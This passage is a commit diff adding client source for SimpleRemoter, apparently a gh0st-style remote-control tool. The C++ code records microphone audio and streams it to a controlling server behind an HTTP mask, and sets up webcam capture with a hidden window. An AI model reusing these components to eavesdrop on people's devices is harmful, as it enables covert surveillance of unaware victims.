Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
231
client/Audio.cpp
Normal file
231
client/Audio.cpp
Normal file
@@ -0,0 +1,231 @@
|
||||
// Audio.cpp: implementation of the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Audio.h"
|
||||
#include <iostream>
|
||||
|
||||
#ifdef _WINDOWS
|
||||
#define __CreateThread CreateThread
|
||||
#else
|
||||
#include "SafeThread.h"
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudio::CAudio()
|
||||
{
|
||||
m_bExit = FALSE;
|
||||
m_hThreadCallBack = false;
|
||||
m_Thread = NULL;
|
||||
m_bIsWaveInUsed = FALSE;
|
||||
m_bIsWaveOutUsed = FALSE;
|
||||
m_nWaveInIndex = 0;
|
||||
m_nWaveOutIndex = 0;
|
||||
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||
|
||||
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||
m_GSMWavefmt.wfx.nChannels = 1;
|
||||
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
||||
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
||||
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
||||
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
||||
m_GSMWavefmt.wfx.cbSize = 2;
|
||||
m_GSMWavefmt.wSamplesPerBlock = 320;
|
||||
|
||||
m_ulBufferLength = 1000;
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
|
||||
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_OutAudioHeader[i] = new WAVEHDR;
|
||||
}
|
||||
}
|
||||
|
||||
CAudio::~CAudio()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
|
||||
if (m_hEventWaveIn) {
|
||||
SetEvent(m_hEventWaveIn);
|
||||
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
|
||||
m_hEventWaveIn = NULL;
|
||||
}
|
||||
if (m_hStartRecord) {
|
||||
SetEvent(m_hStartRecord);
|
||||
SAFE_CLOSE_HANDLE(m_hStartRecord);
|
||||
m_hStartRecord = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveInUsed) {
|
||||
waveInStop(m_hWaveIn);
|
||||
waveInReset(m_hWaveIn);
|
||||
for (int i = 0; i < 2; ++i)
|
||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
Mprintf("没有成功关闭waveInCallBack.\n");
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
delete [] m_InAudioData[i];
|
||||
m_InAudioData[i] = NULL;
|
||||
delete [] m_InAudioHeader[i];
|
||||
m_InAudioHeader[i] = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveOutUsed) {
|
||||
waveOutReset(m_hWaveOut);
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
if (m_InAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
delete [] m_OutAudioData[i];
|
||||
m_OutAudioData[i] = NULL;
|
||||
delete [] m_OutAudioHeader[i];
|
||||
m_OutAudioHeader[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveIn()
|
||||
{
|
||||
MMRESULT mmResult;
|
||||
DWORD dwThreadID = 0;
|
||||
|
||||
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
|
||||
waveInCallBack, (LPVOID)this,
|
||||
CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
|
||||
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
||||
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
||||
|
||||
//m_hWaveIn 录音机句柄
|
||||
if (mmResult != MMSYSERR_NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//录音设备 需要的两个缓冲
|
||||
for (int i=0; i<2; ++i) {
|
||||
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
|
||||
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_InAudioHeader[i]->dwFlags = 0;
|
||||
m_InAudioHeader[i]->dwLoops = 0;
|
||||
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (m_Thread!=NULL) {
|
||||
ResumeThread(m_Thread);
|
||||
}
|
||||
waveInStart(m_hWaveIn); //录音
|
||||
|
||||
m_bIsWaveInUsed = TRUE;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
{
|
||||
//录音机
|
||||
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
|
||||
}
|
||||
|
||||
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
{
|
||||
CAudio *This = (CAudio *)lParam;
|
||||
|
||||
MSG Msg;
|
||||
|
||||
while (GetMessage(&Msg, NULL, 0, 0)) {
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
if (Msg.message == MM_WIM_DATA) {
|
||||
SetEvent(This->m_hEventWaveIn);
|
||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
|
||||
Sleep(1);
|
||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||
|
||||
//更新缓冲
|
||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
break;
|
||||
}
|
||||
|
||||
if (Msg.message == MM_WIM_CLOSE) {
|
||||
break;
|
||||
}
|
||||
|
||||
TranslateMessage(&Msg);
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
Mprintf("waveInCallBack end\n");
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0XDEADAAAA;
|
||||
}
|
||||
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||
{
|
||||
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
|
||||
return NULL;
|
||||
|
||||
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
|
||||
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveOut()
|
||||
{
|
||||
if (!waveOutGetNumDevs())
|
||||
return FALSE;
|
||||
|
||||
for (int i = 0; i < 2; ++i)
|
||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
|
||||
|
||||
MMRESULT mmResult;
|
||||
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return false;
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_OutAudioHeader[i]->dwFlags = 0;
|
||||
m_OutAudioHeader[i]->dwLoops = 0;
|
||||
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
m_bIsWaveOutUsed = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
45
client/Audio.h
Normal file
45
client/Audio.h
Normal file
@@ -0,0 +1,45 @@
|
||||
// Audio.h: interface for the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <MMSYSTEM.H>
|
||||
#include <MMReg.h>
|
||||
|
||||
|
||||
class CAudio
|
||||
{
|
||||
public:
|
||||
CAudio();
|
||||
virtual ~CAudio();
|
||||
GSM610WAVEFORMAT m_GSMWavefmt;
|
||||
ULONG m_ulBufferLength;
|
||||
LPWAVEHDR m_InAudioHeader[2]; //两个头
|
||||
LPBYTE m_InAudioData[2]; //两个数据 保持声音的连续
|
||||
HANDLE m_hEventWaveIn;
|
||||
HANDLE m_hStartRecord; //两个事件
|
||||
HWAVEIN m_hWaveIn; //设备句柄
|
||||
DWORD m_nWaveInIndex;
|
||||
bool m_hThreadCallBack;
|
||||
HANDLE m_Thread;// waveInCallBack线程
|
||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //发送到主控端
|
||||
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
|
||||
BOOL InitializeWaveIn();
|
||||
BOOL m_bIsWaveInUsed;
|
||||
|
||||
HWAVEOUT m_hWaveOut;
|
||||
BOOL m_bExit;
|
||||
BOOL m_bIsWaveOutUsed;
|
||||
DWORD m_nWaveOutIndex;
|
||||
LPWAVEHDR m_OutAudioHeader[2]; //两个头
|
||||
LPBYTE m_OutAudioData[2]; //两个数据 保持声音的连续
|
||||
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL InitializeWaveOut();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
129
client/AudioManager.cpp
Normal file
129
client/AudioManager.cpp
Normal file
@@ -0,0 +1,129 @@
|
||||
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "AudioManager.h"
|
||||
#include "Common.h"
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
|
||||
if (Initialize()==FALSE) {
|
||||
szPacket = NULL;
|
||||
m_hWorkThread = NULL;
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Open audio failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("语音管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen(); //等待对话框打开
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
|
||||
{
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking && !This->g_bExit) {
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//这里得到 音频数据
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//分配缓冲区
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//加入数据头
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
|
||||
//复制缓冲区
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//发送出去
|
||||
if (dwBufferSize > 0) {
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = FALSE; //设定工作状态为假
|
||||
if (m_hWorkThread)
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
|
||||
if (m_hWorkThread)
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
|
||||
if (m_AudioObject!=NULL) {
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket) {
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
BOOL CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
|
||||
return FALSE;
|
||||
|
||||
// SYS SYS P
|
||||
// 正在使用中.. 防止重复使用
|
||||
if (m_bIsWorking==TRUE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_AudioObject = new CAudio; //功能类
|
||||
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
32
client/AudioManager.h
Normal file
32
client/AudioManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// AudioManager.h: interface for the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "Audio.h"
|
||||
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
|
||||
virtual ~CAudioManager();
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
BOOL SendRecordBuffer();
|
||||
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // 音频缓存区
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
166
client/Buffer.cpp
Normal file
166
client/Buffer.cpp
Normal file
@@ -0,0 +1,166 @@
|
||||
#ifdef _WIN32
|
||||
#include "StdAfx.h"
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include <math.h>
|
||||
|
||||
|
||||
#define U_PAGE_ALIGNMENT 3
|
||||
#define F_PAGE_ALIGNMENT 3.0
|
||||
|
||||
CBuffer::CBuffer()
|
||||
{
|
||||
m_ulMaxLength = 0;
|
||||
|
||||
m_Ptr = m_Base = NULL;
|
||||
}
|
||||
|
||||
|
||||
CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base) {
|
||||
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
m_Base = m_Ptr = NULL;
|
||||
m_ulMaxLength = 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
|
||||
if (ulLength > dataLen) {
|
||||
ulLength = dataLen;
|
||||
}
|
||||
|
||||
if (ulLength) {
|
||||
CopyMemory(Buffer, m_Base, ulLength);
|
||||
|
||||
// 只移动有效数据,而非整个缓冲区
|
||||
ULONG remaining = dataLen - ulLength;
|
||||
if (remaining > 0) {
|
||||
MoveMemory(m_Base, m_Base + ulLength, remaining);
|
||||
}
|
||||
m_Ptr = m_Base + remaining;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(m_Ptr - m_Base);
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
|
||||
// 重新分配内存大小
|
||||
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
int len = m_Ptr - m_Base;
|
||||
if (ulLength < len)
|
||||
return;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (m_ulMaxLength <= ulNewMaxLength) {
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||
m_Ptr+=ulLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// 当缓存长度不足时重新分配
|
||||
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < m_ulMaxLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
CopyMemory(NewBase, m_Base, len);
|
||||
|
||||
if (m_Base) {
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + len;
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
m_Ptr = m_Base;
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferLength() const
|
||||
{
|
||||
return m_Ptr - m_Base;
|
||||
}
|
||||
|
||||
|
||||
void CBuffer::Skip(ULONG ulPos)
|
||||
{
|
||||
if (ulPos == 0)
|
||||
return;
|
||||
|
||||
// 边界检查:确保不会越界
|
||||
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
|
||||
if (ulPos > dataLen) {
|
||||
ulPos = dataLen;
|
||||
}
|
||||
|
||||
if (ulPos > 0) {
|
||||
ULONG remaining = dataLen - ulPos;
|
||||
if (remaining > 0) {
|
||||
MoveMemory(m_Base, m_Base + ulPos, remaining);
|
||||
}
|
||||
m_Ptr = m_Base + remaining;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||
{
|
||||
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) {
|
||||
return NULL;
|
||||
}
|
||||
return m_Base+ulPos;
|
||||
}
|
||||
24
client/Buffer.h
Normal file
24
client/Buffer.h
Normal file
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
|
||||
#include "../common/commands.h"
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength() const; //获得有效数据长度
|
||||
VOID DeAllocateBuffer(ULONG ulLength);
|
||||
VOID ClearBuffer();
|
||||
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||
void Skip(ULONG ulPos);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
PBYTE m_Ptr;
|
||||
ULONG m_ulMaxLength;
|
||||
};
|
||||
258
client/CaptureVideo.cpp
Normal file
258
client/CaptureVideo.cpp
Normal file
@@ -0,0 +1,258 @@
|
||||
// CaptureVideo.cpp: implementation of the CCaptureVideo class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CaptureVideo.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
CSampleGrabberCB CCaptureVideo::mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
m_pCapture = NULL;
|
||||
m_pGB = NULL;
|
||||
m_pMC = NULL;
|
||||
m_pVW = NULL;
|
||||
m_pBF = NULL;
|
||||
m_pGrabber = NULL;
|
||||
m_bExit = FALSE;
|
||||
m_hWnd = NULL;
|
||||
if (FAILED(CoInitialize(NULL))) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
CCaptureVideo::~CCaptureVideo()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if(m_pMC)m_pMC->StopWhenReady();
|
||||
if(m_pVW) {
|
||||
m_pVW->put_Visible(OAFALSE);
|
||||
m_pVW->put_Owner(NULL);
|
||||
}
|
||||
SAFE_RELEASE(m_pMC);
|
||||
SAFE_RELEASE(m_pVW);
|
||||
SAFE_RELEASE(m_pGB);
|
||||
SAFE_RELEASE(m_pBF);
|
||||
SAFE_RELEASE(m_pGrabber);
|
||||
SAFE_RELEASE(m_pCapture);
|
||||
|
||||
CoUninitialize() ;
|
||||
}
|
||||
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //引脚内存
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
//m_pGrabber 属性设置 1 格式 2 内存缓冲形式
|
||||
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//设置视频格式
|
||||
AM_MEDIA_TYPE mt; //视频格式
|
||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||
mt.majortype = MEDIATYPE_Video;
|
||||
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24
|
||||
|
||||
hResult = m_pGrabber->SetMediaType(&mt);
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //静态
|
||||
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
if(FAILED(hResult)) {
|
||||
//扑捉
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
|
||||
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
|
||||
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
//mCB 是个另外一个类 并且全局变量 有个回调
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
|
||||
FreeMediaType(mt);
|
||||
|
||||
hResult = m_pGrabber->SetBufferSamples( FALSE ); //回调函数
|
||||
hResult = m_pGrabber->SetOneShot( FALSE );
|
||||
|
||||
//设置视频捕获回调函数 也就是如果有视频数据时就会调用这个类的BufferCB函数
|
||||
|
||||
//返回OnTimer
|
||||
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||
|
||||
m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
SetupVideoWindow(); //屏蔽窗口
|
||||
|
||||
hResult = m_pMC->Run(); //开灯
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
|
||||
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
{
|
||||
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,
|
||||
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //真实设备
|
||||
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
|
||||
hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_IGraphBuilder, (void**)&m_pGB); //虚拟设备
|
||||
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
//将过滤绑定到真实设备上面
|
||||
m_pCapture->SetFiltergraph(m_pGB);
|
||||
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
|
||||
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
return hResult;
|
||||
}
|
||||
|
||||
LPBITMAPINFO CCaptureVideo::GetBmpInfor()
|
||||
{
|
||||
return mCB.GetBmpInfor(); //构建位图内存头和数据
|
||||
}
|
||||
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
|
||||
{
|
||||
if (deviceId < 0)
|
||||
return FALSE;// enumerate all video capture devices
|
||||
CComPtr<ICreateDevEnum> pCreateDevEnum;
|
||||
